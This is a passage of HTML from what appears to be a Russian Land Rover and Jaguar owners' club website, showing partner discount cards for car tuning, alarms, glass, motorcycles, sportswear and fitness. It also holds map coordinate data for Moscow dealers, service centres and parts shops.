<img src="/upload/iblock/2a9/logo-iron-na-sayt-_2_.png" alt="Тюнинг, охранные системы. Скидка для членов клуба 10 %.">
</div>
<div class="part__descript">
<span class="avialon">MD INGENERING</span>
<h3>Тюнинг, охранные системы. Скидка для членов клуба 10 %.</h3>
<p>Передовой тюнинг, детейлинг ателье, широкий выбор охранных систем. Скидки держателям клубных карт от 10 %.</p>
<b>Тюнинг</b>
<a class="read__more" href="/forum/forum52/2341-iron-security-_-redkiy-jaguar-xjr-2007/">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_651765591_193">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/01c/logo-logistik.jpg" alt="Охранные и противоугонные системы, 5%">
</div>
<div class="part__descript">
<span class="avialon">Logic Security</span>
<h3>Охранные и противоугонные системы, 5%</h3>
<p>Установка противоугонных систем и систем защиты автомобиля. Комплексная авторская защита авто от угона.</p>
<b>охранные системы</b>
<a class="read__more" href="/forum/forum56/2729-logic-security-_-avtorskie-protivougonnye-sistemy./">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_651765591_195">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/ce9/yaguarbanerlrklublendroverglavnaya.jpg" alt="АВТОСТЕКЛО, Ремонт, Тонировка, 10%">
</div>
<div class="part__descript">
<span class="avialon">XL - General</span>
<h3>АВТОСТЕКЛО, Ремонт, Тонировка, 10%</h3>
<p>Ремонт и тонировка автостекла. Собственный склад. В наличие автостекло на все марки машин. Скидка 5 % на замену и тонировку для держателей карт.</p>
<b>Автостекло</b>
<a class="read__more" href="/forum/forum100/2315-avtosteklo_-remont_-zamena./">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_651765591_196">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/47e/Logo-chernyy-pryamougolnik.jpg" alt="Детейлинг автомобиля к весеннему сезону.">
</div>
<div class="part__descript">
<span class="avialon">AUTOSECURITY</span>
<h3>Детейлинг автомобиля к весеннему сезону.</h3>
<p>Детейлинг. Тюнинг. Нанесение керамики. Оклейка автомобиля. Подготовка автомобиля к весеннему сезону. <br />
<br />
</p>
<b>Детейлинг</b>
<a class="read__more" href="/forum/forum52/2542-autosecurity-_-deteyling-studiya/">Подробнее</a>
</div>
</div>
</div>
</div>
<div class="col-md-6 part__title lg__bord">
<div class="item_p title">
<div class="inner__item">
<h2>ПРЕДЛОЖЕНИЯ ПАРТНЕРОВ </h2>
<!-- <a class="partner__btn_2" href="#">Стать партнером</a> -->
</div>
</div>
<div class="item_p" id="bx_1373509569_201">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/a48/motosalon-Ducati-Motorrika-moto-Range-rover-world-kupit-moto.jpg" alt="Мотоциклы DUCATI к весеннему сезону 2022">
</div>
<div class="part__descript">
<span class="avialon">MOTORRIKA</span>
<h3>Мотоциклы DUCATI к весеннему сезону 2022</h3>
<p>Акции в мото-салоне Motorrika к весеннему сезону 2022. Полная линейка мотоциклов DUCATI и KAWASAKI</p>
<b>мото салон</b>
<a class="read__more" href="/forum/forum84/2547-motosalon-motorrika.-kontakty.-kupit-mototsikl./">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_1373509569_205">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/d35/Jack_Wolfskin-Sport-marafon.jpg" alt="Коллекция Jack Wolfskin в “Спорт-Марафон” ">
</div>
<div class="part__descript">
<span class="avialon">СПОРТ МАРАФОН</span>
<h3>Коллекция Jack Wolfskin в “Спорт-Марафон” </h3>
<p>Новое осеннее поступление новой коллекции Jack Wolfskin в магазине Спорт Марафон. Бренд Jack Wolfskin получил наибольшую популярность во всем мире. </p>
<b>спорт магазин</b>
<a class="read__more" href="forum/forum75/1576-aktsii-i-novye-kollektsii-ot-sport-marafon/">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_1373509569_752">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/4af/MBA-Forum-Synergy.jpg" alt="Synergy Executive MBA!">
</div>
<div class="part__descript">
<span class="avialon">Synergy </span>
<h3>Synergy Executive MBA!</h3>
<p>Synergy Executive MBA разработана для амбициозных предпринимателей и топ-менеджеров!</p>
<b>мероприятия</b>
<a class="read__more" href="/forum/messages/forum10/topic2540/message8576/?result=new#message8576">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_1373509569_199">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/eec/eec35f1f7b277720527ded86a2bd9a04.jpg" alt="Акции от Спорт Марафона">
</div>
<div class="part__descript">
<span class="avialon">СПОРТ МАРАФОН</span>
<h3>Акции от Спорт Марафона</h3>
<p><noindex>Акции действует на все <a class="link" href="http://sport-marafon.ru/catalog/1911/" target="_blank">мужские</a>, <a class="link" href="http://sport-marafon.ru/catalog/1910/" target="_blank">женские</a> и <a class="link" href="http://sport-marafon.ru/catalog/1909/" target="_blank">детские</a> футболки, <a class="link" href="http://sport-marafon.ru/catalog/1914/" target="_blank">мужские</a>, <a class="link" href="http://sport-marafon.ru/catalog/1913/" target="_blank">женские</a> и <a class="link" href="http://sport-marafon.ru/catalog/1912/" target="_blank">детские</a> шорты! А также на <a class="link" href="http://sport-marafon.ru/catalog/1147/" target="_blank">платья и юбки</a> и <a class="link" href="http://sport-marafon.ru/catalog/2077/" target="_blank">сандалии и шлепанцы</a>.</noindex></p>
<b>спорт магазин</b>
<a class="read__more" href="/forum/forum75/44-sport_marafon/">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_1373509569_203">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/835/Ducati-moto-rusmotoimport.jpg" alt="Зимнее хранение мотоциклов.">
</div>
<div class="part__descript">
<span class="avialon">DUCATI</span>
<h3>Зимнее хранение мотоциклов.</h3>
<p>На нашем складе, ваш мотоцикл почувствует себя как на SPA курорте. Зима пролетит незаметно, а Ваш мотоцикл будет в идеальном состоянии к началу сезона.</p>
<b>мото салон</b>
<a class="read__more" href="forum/forum84/1570-zimnee-khranenie-vashego-mototsikla-v-ducati-moscow/">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_1373509569_202">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/b99/x_.jpg" alt="Супер акция к Новому Году">
</div>
<div class="part__descript">
<span class="avialon">X-FIT</span>
<h3>Супер акция к Новому Году</h3>
<p>Всё меньше времени остаётся до Нового Года! Спешите поразить друзей и знакомых вашей потрясающей формой!<br />
Узнайте условия вступления в клуб по телефону.</p>
<b>фитнес</b>
<a class="read__more" href="forum/forum74/1581-aktsii-seti-x_fit/">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container-fluid">
<div class="row map__block">
<h3>#ПОЛЕЗНАЯ ИНФОРМАЦИЯ</h3>
<!-- <a class="partner__btn" href="#">Стать партнером</a> -->
<div class="col-md-4">
<div class="map__inner">
<div id="dealers_map">
</div>
<span class="map-san"><a href="/sprav/dealers/">18 официальных дилеров Land Rover в Москве</a></span>
</div>
<div class="address" id="bx_3485106786_246">
<h4>РОЛЬФ Land Rover Ясенево</h4>
<span>+7 (495) 407-72-14</span>
<a href="http://www.landroveryasenevo.ru/" rel="nofollow" target="_blank">http://www.landroveryasenevo.ru/</a>
<span>г. Москва, 40-й км МКАД</span>
</div>
<script type="text/javascript">
var coords = {"type":"FeatureCollection","features":[{"type":"Feature","id":0,"geometry":{"type":"Point","coordinates":["55.602701308674","37.500033470886"]},"properties":{"balloonContent":"\u0420\u041e\u041b\u042c\u0424 Land Rover \u042f\u0441\u0435\u043d\u0435\u0432\u043e","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0420\u041e\u041b\u042c\u0424 Land Rover \u042f\u0441\u0435\u043d\u0435\u0432\u043e"}},{"type":"Feature","id":1,"geometry":{"type":"Point","coordinates":["55.598843977522","37.503636077948"]},"properties":{"balloonContent":"\u0420\u041e\u041b\u042c\u0424 Jaguar \u042f\u0441\u0435\u043d\u0435\u0432\u043e","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0420\u041e\u041b\u042c\u0424 Jaguar \u042f\u0441\u0435\u043d\u0435\u0432\u043e"}},{"type":"Feature","id":2,"geometry":{"type":"Point","coordinates":["55.571507950847","37.670386129667"]},"properties":{"balloonContent":"Inchcape Land Rover \u042e\u0433","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Inchcape Land Rover \u042e\u0433"}},{"type":"Feature","id":3,"geometry":{"type":"Point","coordinates":["55.761855974313","37.527432753967"]},"properties":{"balloonContent":"Inchcape Land Rover \u0426\u0435\u043d\u0442\u0440","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Inchcape Land Rover \u0426\u0435\u043d\u0442\u0440"}},{"type":"Feature","id":4,"geometry":{"type":"Point","coordinates":["55.784954685677","37.879538076721"]},"properties":{"balloonContent":"Inchcape Land Rover \u0412\u043e\u0441\u0442\u043e\u043a","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Inchcape Land Rover \u0412\u043e\u0441\u0442\u043e\u043a"}},{"type":"Feature","id":5,"geometry":{"type":"Point","coordinates":["55.653930188072","37.439926378296"]},"properties":{"balloonContent":"Major Land Rover \u041c\u041a\u0410\u0414 47 \u043a\u043c","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Major Land Rover \u041c\u041a\u0410\u0414 47 \u043a\u043c"}},{"type":"Feature","id":6,"geometry":{"type":"Point","coordinates":["55.800032952938","37.326498516813"]},"properties":{"balloonContent":"Major Land Rover \u041d\u043e\u0432\u0430\u044f \u0420\u0438\u0433\u0430","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Major Land Rover \u041d\u043e\u0432\u0430\u044f \u0420\u0438\u0433\u0430"}},{"type":"Feature","id":7,"geometry":{"type":"Point","coordinates":["55.627352747483","37.801425978821"]},"properties":{"balloonContent":"Major Land Rover \u041c\u041a\u0410\u0414 18 \u043a\u043c","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Major Land Rover \u041c\u041a\u0410\u0414 18 \u043a\u043c"}},{"type":"Feature","id":8,"geometry":{"type":"Point","coordinates":["55.715437938273","37.714906373016"]},"properties":{"balloonContent":"\u0410\u0432\u0438\u043b\u043e\u043d Land Rover","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0410\u0432\u0438\u043b\u043e\u043d Land Rover"}},{"type":"Feature","id":9,"geometry":{"type":"Point","coordinates":["55.614021566922","37.608889669311"]},"properties":{"balloonContent":"\u0410\u0432\u0442\u043e\u043f\u0430\u0441\u0441\u0430\u0436 \u041f\u0440\u0435\u043c\u0438\u0443\u043c Land Rover","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0410\u0432\u0442\u043e\u043f\u0430\u0441\u0441\u0430\u0436 \u041f\u0440\u0435\u043c\u0438\u0443\u043c Land Rover"}},{"type":"Feature","id":10,"geometry":{"type":"Point","coordinates":["55.761867864684","37.527550271164"]},"properties":{"balloonContent":"Inchcape Jaguar \u0426\u0435\u043d\u0442\u0440","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Inchcape Jaguar \u0426\u0435\u043d\u0442\u0440"}},{"type":"Feature","id":11,"geometry":{"type":"Point","coordinates":["55.571172149278","37.669367086241"]},"properties":{"balloonContent":"Inchcape Jaguar \u042e\u0433","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Inchcape Jaguar \u042e\u0433"}},{"type":"Feature","id":12,"geometry":{"type":"Point","coordinates":["55.784984706016","37.879495161377"]},"properties":{"balloonContent":"Inchcape Jaguar \u0412\u043e\u0441\u0442\u043e\u043a","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Inchcape Jaguar \u0412\u043e\u0441\u0442\u043e\u043a"}},{"type":"Feature","id":13,"geometry":{"type":"Point","coordinates":["55.625750175597","37.799602076691"]},"properties":{"balloonContent":"Major Jaguar \u041c\u041a\u0410\u0414 18 \u043a\u043c","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Major Jaguar \u041c\u041a\u0410\u0414 18 \u043a\u043c"}},{"type":"Feature","id":14,"geometry":{"type":"Point","coordinates":["55.652559227943","37.442308179901"]},"properties":{"balloonContent":"Major Jaguar \u041c\u041a\u0410\u0414 47 \u043a\u043c","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Major Jaguar \u041c\u041a\u0410\u0414 47 \u043a\u043c"}},{"type":"Feature","id":15,"geometry":{"type":"Point","coordinates":["55.790152531216","37.256112269775"]},"properties":{"balloonContent":"Major Jaguar \u041d\u043e\u0432\u0430\u044f \u0420\u0438\u0433\u0430","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Major Jaguar \u041d\u043e\u0432\u0430\u044f \u0420\u0438\u0433\u0430"}},{"type":"Feature","id":16,"geometry":{"type":"Point","coordinates":["55.715256467902","37.716102816147"]},"properties":{"balloonContent":"\u0410\u0432\u0438\u043b\u043e\u043d Jaguar","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0410\u0432\u0438\u043b\u043e\u043d Jaguar"}},{"type":"Feature","id":17,"geometry":{"type":"Point","coordinates":["55.61402085832","37.609222263229"]},"properties":{"balloonContent":"\u0410\u0432\u0442\u043e\u043f\u0430\u0441\u0441\u0430\u0436 \u041f\u0440\u0435\u043c\u0438\u0443\u043c Jaguar","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0410\u0432\u0442\u043e\u043f\u0430\u0441\u0441\u0430\u0436 \u041f\u0440\u0435\u043c\u0438\u0443\u043c Jaguar"}}]};
</script>
</div>
<div class="col-md-4">
<div class="map__inner">
<div id="tech_map">
</div>
<!--script type="text/javascript" charset="utf-8" async src="https://api-maps.yandex.ru/services/constructor/1.0/js/?sid=t1fRoBmNOXgTgaikTc56DD2ETIwla9sn&width=100%&height=250&lang=ru_RU&sourceType=constructor&scroll=true"></script-->
<span class="map-san"><a href="/sprav/techcenter/">24 техцентров Land Rover, Jaguar в Москве</a></span>
</div>
<div class="address" id="bx_3099439860_3109">
<h4>Ленд Ровер Коломенское</h4>
<span>+7 (495) 132-24-44</span>
<a href="http://service-landrover.ru" rel="nofollow" target="_blank">http://service-landrover.ru</a>
<span>Москва, пр-т Андропова 22, корп. 5</span>
</div>
<script type="text/javascript">
var coords2 = {"type":"FeatureCollection","features":[{"type":"Feature","id":0,"geometry":{"type":"Point","coordinates":["55.682606","37.66116"]},"properties":{"balloonContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u041a\u043e\u043b\u043e\u043c\u0435\u043d\u0441\u043a\u043e\u0435","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u041a\u043e\u043b\u043e\u043c\u0435\u043d\u0441\u043a\u043e\u0435"}},{"type":"Feature","id":1,"geometry":{"type":"Point","coordinates":["55.86644","37.483075"]},"properties":{"balloonContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u0421\u0435\u0432\u0435\u0440","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u0421\u0435\u0432\u0435\u0440"}},{"type":"Feature","id":2,"geometry":{"type":"Point","coordinates":["55.972593","37.319242"]},"properties":{"balloonContent":"LR Sever \u0417\u0435\u043b\u0435\u043d\u043e\u0433\u0440\u0430\u0434","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"LR Sever \u0417\u0435\u043b\u0435\u043d\u043e\u0433\u0440\u0430\u0434"}},{"type":"Feature","id":3,"geometry":{"type":"Point","coordinates":["55.74279","37.55878"]},"properties":{"balloonContent":"IRON SECURITY","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"IRON SECURITY"}},{"type":"Feature","id":4,"geometry":{"type":"Point","coordinates":["55.784662882927","37.673255361335"]},"properties":{"balloonContent":"Logic Security","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Logic Security"}},{"type":"Feature","id":5,"geometry":{"type":"Point","coordinates":["55.615133","37.621322"]},"properties":{"balloonContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u042e\u0413","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u042e\u0413"}},{"type":"Feature","id":6,"geometry":{"type":"Point","coordinates":["55.70685418474","37.609162415344"]},"properties":{"balloonContent":"\u0412\u0438\u043b\u0413\u0443\u0434","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0412\u0438\u043b\u0413\u0443\u0434"}},{"type":"Feature","id":7,"geometry":{"type":"Point","coordinates":["55.702685952027","37.583227915344"]},"properties":{"balloonContent":"Lr Moscow","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr Moscow"}},{"type":"Feature","id":8,"geometry":{"type":"Point","coordinates":["55.699436569047","37.615565330688"]},"properties":{"balloonContent":"R-P-M","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"R-P-M"}},{"type":"Feature","id":9,"geometry":{"type":"Point","coordinates":["55.613361727637","37.608594162704"]},"properties":{"balloonContent":"Bmw-Rover","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Bmw-Rover"}},{"type":"Feature","id":10,"geometry":{"type":"Point","coordinates":["55.857093","37.580841"]},"properties":{"balloonContent":"LR TOP","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"LR TOP"}},{"type":"Feature","id":11,"geometry":{"type":"Point","coordinates":["55.692143746179","37.416986694443"]},"properties":{"balloonContent":"Lr-West","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr-West"}},{"type":"Feature","id":12,"geometry":{"type":"Point","coordinates":["55.617489","37.71563"]},"properties":{"balloonContent":"Awd - Service","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Awd - Service"}},{"type":"Feature","id":13,"geometry":{"type":"Point","coordinates":["55.765633","37.524493"]},"properties":{"balloonContent":"\u0422\u0435\u0445\u0446\u0435\u043d\u0442\u0440 Land Rover","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0422\u0435\u0445\u0446\u0435\u043d\u0442\u0440 Land Rover"}},{"type":"Feature","id":14,"geometry":{"type":"Point","coordinates":["55.858001000295","37.546203440475"]},"properties":{"balloonContent":"BritCar","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"BritCar"}},{"type":"Feature","id":15,"geometry":{"type":"Point","coordinates":["55.5471","37.517873"]},"properties":{"balloonContent":"\u042f\u0443\u0437\u0430 \u041c\u043e\u0442\u043e\u0440\u0441 \u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u0411\u0443\u0442\u043e\u0432\u043e","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u042f\u0443\u0437\u0430 \u041c\u043e\u0442\u043e\u0440\u0441 \u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u0411\u0443\u0442\u043e\u0432\u043e"}},{"type":"Feature","id":16,"geometry":{"type":"Point","coordinates":["55.705046","37.622939"]},"properties":{"balloonContent":"Rover \u0422\u0443\u043b\u044c\u0441\u043a\u0430\u044f","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Rover \u0422\u0443\u043b\u044c\u0441\u043a\u0430\u044f"}},{"type":"Feature","id":17,"geometry":{"type":"Point","coordinates":["55.721022","37.691352"]},"properties":{"balloonContent":"Neverland","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Neverland"}},{"type":"Feature","id":18,"geometry":{"type":"Point","coordinates":["55.832697803042","37.642261152114"]},"properties":{"balloonContent":"Lr - Star","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr - Star"}},{"type":"Feature","id":19,"geometry":{"type":"Point","coordinates":["55.742722","37.558643"]},"properties":{"balloonContent":"Lr - Premium","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr - Premium"}},{"type":"Feature","id":20,"geometry":{"type":"Point","coordinates":["55.710854","37.389445"]},"properties":{"balloonContent":"Ld Partner","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Ld Partner"}},{"type":"Feature","id":21,"geometry":{"type":"Point","coordinates":["55.688228","37.488502"]},"properties":{"balloonContent":"Rover City","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Rover City"}},{"type":"Feature","id":22,"geometry":{"type":"Point","coordinates":["55.733802","37.524714"]},"properties":{"balloonContent":"Lord Rover","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lord Rover"}},{"type":"Feature","id":23,"geometry":{"type":"Point","coordinates":["55.655718","37.553078"]},"properties":{"balloonContent":"\u0410\u0432\u0442\u043e\u0441\u0435\u0440\u0432\u0438\u0441 Rover","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u0410\u0432\u0442\u043e\u0441\u0435\u0440\u0432\u0438\u0441 Rover"}}]};
</script>
</div>
<div class="col-md-4">
<div class="map__inner">
<div id="zapchasti_map">
</div>
<!--script type="text/javascript" charset="utf-8" async src="https://api-maps.yandex.ru/services/constructor/1.0/js/?sid=t1fRoBmNOXgTgaikTc56DD2ETIwla9sn&width=100%&height=250&lang=ru_RU&sourceType=constructor&scroll=true"></script-->
<span class="map-san"><a href="/sprav/spares/">18 магазинов запчастей для Land Rover, Jaguar в Москве</a></span>
</div>
<div class="address" id="bx_565502798_297">
<h4>Ленд Ровер Север</h4>
<span>+7 (495) 10 60 222</span>
<a href="ttp://landroversever.ru" rel="nofollow" target="_blank">ttp://landroversever.ru</a>
<span>г. Москва, ул. 4-я Магистральная 7, стр. 11</span>
</div>
<script type="text/javascript">
var coords3 = {"type":"FeatureCollection","features":[{"type":"Feature","id":0,"geometry":{"type":"Point","coordinates":["55.86644","37.483075"]},"properties":{"balloonContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u0421\u0435\u0432\u0435\u0440","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u0421\u0435\u0432\u0435\u0440"}},{"type":"Feature","id":1,"geometry":{"type":"Point","coordinates":["55.615133","37.621322"]},"properties":{"balloonContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u042e\u0413","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u042e\u0413"}},{"type":"Feature","id":2,"geometry":{"type":"Point","coordinates":["55.972593","37.319242"]},"properties":{"balloonContent":"LR Sever \u0417\u0435\u043b\u0435\u043d\u043e\u0433\u0440\u0430\u0434","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"LR Sever \u0417\u0435\u043b\u0435\u043d\u043e\u0433\u0440\u0430\u0434"}},{"type":"Feature","id":3,"geometry":{"type":"Point","coordinates":["55.682606","37.66116"]},"properties":{"balloonContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u041a\u043e\u043b\u043e\u043c\u0435\u043d\u0441\u043a\u043e\u0435","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"\u041b\u0435\u043d\u0434 \u0420\u043e\u0432\u0435\u0440 \u041a\u043e\u043b\u043e\u043c\u0435\u043d\u0441\u043a\u043e\u0435"}},{"type":"Feature","id":4,"geometry":{"type":"Point","coordinates":["55.857154","37.580984"]},"properties":{"balloonContent":"Lr Top","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr Top"}},{"type":"Feature","id":5,"geometry":{"type":"Point","coordinates":["55.900544","37.631433"]},"properties":{"balloonContent":"Lr-Expert","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr-Expert"}},{"type":"Feature","id":6,"geometry":{"type":"Point","coordinates":["55.688086","37.603056"]},"properties":{"balloonContent":"Lr Plus","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr Plus"}},{"type":"Feature","id":7,"geometry":{"type":"Point","coordinates":["55.734288","37.398033"]},"properties":{"balloonContent":"Rover Land","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Rover Land"}},{"type":"Feature","id":8,"geometry":{"type":"Point","coordinates":["55.692143746179","37.416986694443"]},"properties":{"balloonContent":"Lr-West","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr-West"}},{"type":"Feature","id":9,"geometry":{"type":"Point","coordinates":["55.713664","37.415335"]},"properties":{"balloonContent":"LR.RU","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"LR.RU"}},{"type":"Feature","id":10,"geometry":{"type":"Point","coordinates":["55.675052","37.75488"]},"properties":{"balloonContent":"Avtofishka","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Avtofishka"}},{"type":"Feature","id":11,"geometry":{"type":"Point","coordinates":["55.832697803042","37.642261152114"]},"properties":{"balloonContent":"Lr - Star","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr - Star"}},{"type":"Feature","id":12,"geometry":{"type":"Point","coordinates":["55.702074","37.433166"]},"properties":{"balloonContent":"Lr - Centrum","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr - Centrum"}},{"type":"Feature","id":13,"geometry":{"type":"Point","coordinates":["55.742722","37.558643"]},"properties":{"balloonContent":"Lr - Premium","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"Lr - Premium"}},{"type":"Feature","id":14,"geometry":{"type":"Point","coordinates":["55.71949","37.425602"]},"properties":{"balloonContent":"LR 4 x 4","clusterCaption":"\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u043a\u0430","hintContent":"LR 4 x 